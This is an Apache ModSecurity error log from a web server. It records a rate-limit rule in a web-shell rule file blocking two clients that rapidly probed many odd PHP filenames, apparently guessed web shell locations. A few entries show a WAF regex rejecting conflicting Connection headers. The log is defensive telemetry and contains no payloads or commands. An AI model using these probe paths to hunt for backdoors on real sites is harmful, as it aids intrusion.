[Tue Mar 31 03:59:21.507486 2026] [:error] [pid 18332:tid 18359] [client 4.223.111.108:48010] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "acrWGb4KXr1F9raS5GR5ngAAAAs"]
[Tue Mar 31 03:59:22.377351 2026] [:error] [pid 18439:tid 18472] [client 4.223.111.108:30888] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "acrWGi-R9nOaA8Xqs7iDkQAAANU"]
[Tue Mar 31 03:59:23.113015 2026] [:error] [pid 18333:tid 18389] [client 4.223.111.108:31854] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "acrWG0Sx2C5hLR0-8dK_BQAAAEo"]
[Tue Mar 31 03:59:24.231783 2026] [:error] [pid 18439:tid 18468] [client 4.223.111.108:36356] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "acrWHC-R9nOaA8Xqs7iDowAAANE"]
[Tue Mar 31 03:59:25.429108 2026] [:error] [pid 18334:tid 18411] [client 4.223.111.108:29881] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "acrWHXqQrXLbk1cg3mgOKwAAAIU"]
[Tue Mar 31 03:59:26.452171 2026] [:error] [pid 18334:tid 18428] [client 4.223.111.108:5629] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "acrWHnqQrXLbk1cg3mgOLwAAAJY"]
[Tue Mar 31 03:59:27.150190 2026] [:error] [pid 18332:tid 18355] [client 4.223.111.108:27546] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xhejulap.php"] [unique_id "acrWH74KXr1F9raS5GR5sAAAAAc"]
[Tue Mar 31 03:59:28.077758 2026] [:error] [pid 18439:tid 18461] [client 4.223.111.108:27532] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xhejulap.php"] [unique_id "acrWIC-R9nOaA8Xqs7iDwAAAAMo"]
[Tue Mar 31 03:59:29.123532 2026] [:error] [pid 18334:tid 18419] [client 4.223.111.108:25862] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xhejulap.php"] [unique_id "acrWIXqQrXLbk1cg3mgOOAAAAI0"]
[Tue Mar 31 03:59:29.782868 2026] [:error] [pid 18439:tid 18451] [client 4.223.111.108:48024] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xhejulap.php"] [unique_id "acrWIS-R9nOaA8Xqs7iDyQAAAMA"]
[Tue Mar 31 05:06:14.476769 2026] [:error] [pid 1224:tid 1246] [client 43.153.67.21:41230] [client 43.153.67.21] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acrlxsXGPQPzIHnCuJgaqQAAARQ"]
[Tue Mar 31 05:48:54.103157 2026] [:error] [pid 1224:tid 1238] [client 49.234.192.248:41360] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acrvxsXGPQPzIHnCuJg8sQAAAQw"]
[Tue Mar 31 05:59:13.619771 2026] [:error] [pid 11822:tid 11848] [client 170.106.72.178:40378] [client 170.106.72.178] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acryMSLLrL4a3YEM2I0InAAAAZg"]
[Tue Mar 31 08:36:58.102375 2026] [:error] [pid 36890:tid 36919] [client 4.204.246.56:8180] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file22.php"] [unique_id "acsXKp8FASPd_uH8z7dE0gAAABg"]
[Tue Mar 31 08:36:58.515657 2026] [:error] [pid 36890:tid 36903] [client 4.204.246.56:8076] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file22.php"] [unique_id "acsXKp8FASPd_uH8z7dE1QAAAAg"]
[Tue Mar 31 08:36:58.936188 2026] [:error] [pid 36982:tid 36996] [client 4.204.246.56:8136] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file22.php"] [unique_id "acsXKvlMmeoQKN0r_GN6OgAAAMs"]
[Tue Mar 31 08:36:59.348628 2026] [:error] [pid 36982:tid 37003] [client 4.204.246.56:8075] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file22.php"] [unique_id "acsXK_lMmeoQKN0r_GN6OwAAANI"]
[Tue Mar 31 08:36:59.780707 2026] [:error] [pid 36982:tid 37002] [client 4.204.246.56:8149] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inwp.php"] [unique_id "acsXK_lMmeoQKN0r_GN6PQAAANE"]
[Tue Mar 31 08:37:00.192433 2026] [:error] [pid 36892:tid 36956] [client 4.204.246.56:8144] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inwp.php"] [unique_id "acsXLEyj9S4G0ek3O4LJ8gAAAIU"]
[Tue Mar 31 08:37:00.618830 2026] [:error] [pid 41421:tid 41427] [client 4.204.246.56:8139] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inwp.php"] [unique_id "acsXLBSaDjY9kKFtUQBgjQAAAQM"]
[Tue Mar 31 08:37:01.037409 2026] [:error] [pid 36892:tid 36952] [client 4.204.246.56:8147] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inwp.php"] [unique_id "acsXLUyj9S4G0ek3O4LJ8wAAAIE"]
[Tue Mar 31 08:37:01.461382 2026] [:error] [pid 41421:tid 41437] [client 4.204.246.56:8088] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ca4.php"] [unique_id "acsXLRSaDjY9kKFtUQBgkwAAAQ0"]
[Tue Mar 31 08:37:01.907305 2026] [:error] [pid 36891:tid 36932] [client 4.204.246.56:8166] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ca4.php"] [unique_id "acsXLZJhiMaJUqoqfl4xLwAAAEg"]
[Tue Mar 31 08:37:02.337494 2026] [:error] [pid 36892:tid 36973] [client 4.204.246.56:8183] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ca4.php"] [unique_id "acsXLkyj9S4G0ek3O4LJ9wAAAJY"]
[Tue Mar 31 08:37:02.786413 2026] [:error] [pid 36982:tid 36994] [client 4.204.246.56:8065] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ca4.php"] [unique_id "acsXLvlMmeoQKN0r_GN6QgAAAMk"]
[Tue Mar 31 08:37:03.208760 2026] [:error] [pid 36982:tid 37000] [client 4.204.246.56:8081] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nz.php"] [unique_id "acsXL_lMmeoQKN0r_GN6RgAAAM8"]
[Tue Mar 31 08:37:03.635520 2026] [:error] [pid 36982:tid 37004] [client 4.204.246.56:8082] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nz.php"] [unique_id "acsXL_lMmeoQKN0r_GN6TgAAANM"]
[Tue Mar 31 08:37:04.050984 2026] [:error] [pid 36890:tid 36906] [client 4.204.246.56:8187] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nz.php"] [unique_id "acsXMJ8FASPd_uH8z7dE3gAAAAs"]
[Tue Mar 31 08:37:04.468586 2026] [:error] [pid 41421:tid 41448] [client 4.204.246.56:8163] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nz.php"] [unique_id "acsXMBSaDjY9kKFtUQBgmwAAARg"]
[Tue Mar 31 08:37:04.887804 2026] [:error] [pid 41421:tid 41447] [client 4.204.246.56:8172] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnn_.php"] [unique_id "acsXMBSaDjY9kKFtUQBgngAAARc"]
[Tue Mar 31 08:37:05.307309 2026] [:error] [pid 36891:tid 36945] [client 4.204.246.56:8068] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnn_.php"] [unique_id "acsXMZJhiMaJUqoqfl4xNQAAAFU"]
[Tue Mar 31 08:37:05.736609 2026] [:error] [pid 36982:tid 37005] [client 4.204.246.56:8151] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnn_.php"] [unique_id "acsXMflMmeoQKN0r_GN6YQAAANQ"]
[Tue Mar 31 08:37:06.148105 2026] [:error] [pid 41421:tid 41439] [client 4.204.246.56:8165] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnn_.php"] [unique_id "acsXMhSaDjY9kKFtUQBgoQAAAQ8"]
[Tue Mar 31 08:37:06.559351 2026] [:error] [pid 36890:tid 36917] [client 4.204.246.56:8098] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/anz.php"] [unique_id "acsXMp8FASPd_uH8z7dE4gAAABY"]
[Tue Mar 31 08:37:06.974450 2026] [:error] [pid 36891:tid 36929] [client 4.204.246.56:8102] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/anz.php"] [unique_id "acsXMpJhiMaJUqoqfl4xOAAAAEU"]
[Tue Mar 31 08:37:07.390729 2026] [:error] [pid 36892:tid 36959] [client 4.204.246.56:8077] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/anz.php"] [unique_id "acsXM0yj9S4G0ek3O4LJ_wAAAIg"]
[Tue Mar 31 08:37:07.814832 2026] [:error] [pid 41421:tid 41424] [client 4.204.246.56:8030] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/anz.php"] [unique_id "acsXMxSaDjY9kKFtUQBgpwAAAQA"]
[Tue Mar 31 08:37:08.232052 2026] [:error] [pid 36982:tid 36994] [client 4.204.246.56:8073] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "acsXNPlMmeoQKN0r_GN6awAAAMk"]
[Tue Mar 31 08:37:08.644829 2026] [:error] [pid 41421:tid 41443] [client 4.204.246.56:8078] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "acsXNBSaDjY9kKFtUQBgsgAAARM"]
[Tue Mar 31 08:37:09.061683 2026] [:error] [pid 36890:tid 36919] [client 4.204.246.56:8083] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "acsXNZ8FASPd_uH8z7dE6wAAABg"]
[Tue Mar 31 08:37:09.486926 2026] [:error] [pid 36891:tid 36945] [client 4.204.246.56:8145] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "acsXNZJhiMaJUqoqfl4xQAAAAFU"]
[Tue Mar 31 08:37:09.954679 2026] [:error] [pid 36982:tid 36999] [client 4.204.246.56:8071] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file66.php"] [unique_id "acsXNflMmeoQKN0r_GN6cAAAAM4"]
[Tue Mar 31 08:37:10.371568 2026] [:error] [pid 36982:tid 36994] [client 4.204.246.56:8080] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file66.php"] [unique_id "acsXNvlMmeoQKN0r_GN6cgAAAMk"]
[Tue Mar 31 08:37:10.783417 2026] [:error] [pid 36890:tid 36917] [client 4.204.246.56:8182] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file66.php"] [unique_id "acsXNp8FASPd_uH8z7dE8AAAABY"]
[Tue Mar 31 08:37:11.195220 2026] [:error] [pid 36890:tid 36897] [client 4.204.246.56:8067] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file66.php"] [unique_id "acsXN58FASPd_uH8z7dE9QAAAAI"]
[Tue Mar 31 08:37:11.608117 2026] [:error] [pid 36890:tid 36913] [client 4.204.246.56:8142] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kure.php"] [unique_id "acsXN58FASPd_uH8z7dE-gAAABI"]
[Tue Mar 31 08:37:12.033909 2026] [:error] [pid 36892:tid 36952] [client 4.204.246.56:8007] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kure.php"] [unique_id "acsXOEyj9S4G0ek3O4LKCwAAAIE"]
[Tue Mar 31 08:37:12.448617 2026] [:error] [pid 36892:tid 36956] [client 4.204.246.56:8176] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kure.php"] [unique_id "acsXOEyj9S4G0ek3O4LKDwAAAIU"]
[Tue Mar 31 08:37:12.864382 2026] [:error] [pid 36891:tid 36937] [client 4.204.246.56:8135] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kure.php"] [unique_id "acsXOJJhiMaJUqoqfl4xTgAAAE0"]
[Tue Mar 31 08:37:13.275886 2026] [:error] [pid 36982:tid 36991] [client 4.204.246.56:8132] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blnux.php"] [unique_id "acsXOflMmeoQKN0r_GN6ewAAAMY"]
[Tue Mar 31 08:37:13.689727 2026] [:error] [pid 36982:tid 37000] [client 4.204.246.56:8133] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blnux.php"] [unique_id "acsXOflMmeoQKN0r_GN6fgAAAM8"]
[Tue Mar 31 08:37:14.101805 2026] [:error] [pid 36982:tid 36997] [client 4.204.246.56:8177] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blnux.php"] [unique_id "acsXOvlMmeoQKN0r_GN6gwAAAMw"]
[Tue Mar 31 08:37:14.512564 2026] [:error] [pid 36891:tid 36927] [client 4.204.246.56:8185] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blnux.php"] [unique_id "acsXOpJhiMaJUqoqfl4xUgAAAEM"]
[Tue Mar 31 08:37:14.994276 2026] [:error] [pid 36891:tid 36938] [client 4.204.246.56:8009] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaje.php"] [unique_id "acsXOpJhiMaJUqoqfl4xVgAAAE4"]
[Tue Mar 31 08:37:15.405952 2026] [:error] [pid 36891:tid 36934] [client 4.204.246.56:8125] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaje.php"] [unique_id "acsXO5JhiMaJUqoqfl4xWQAAAEo"]
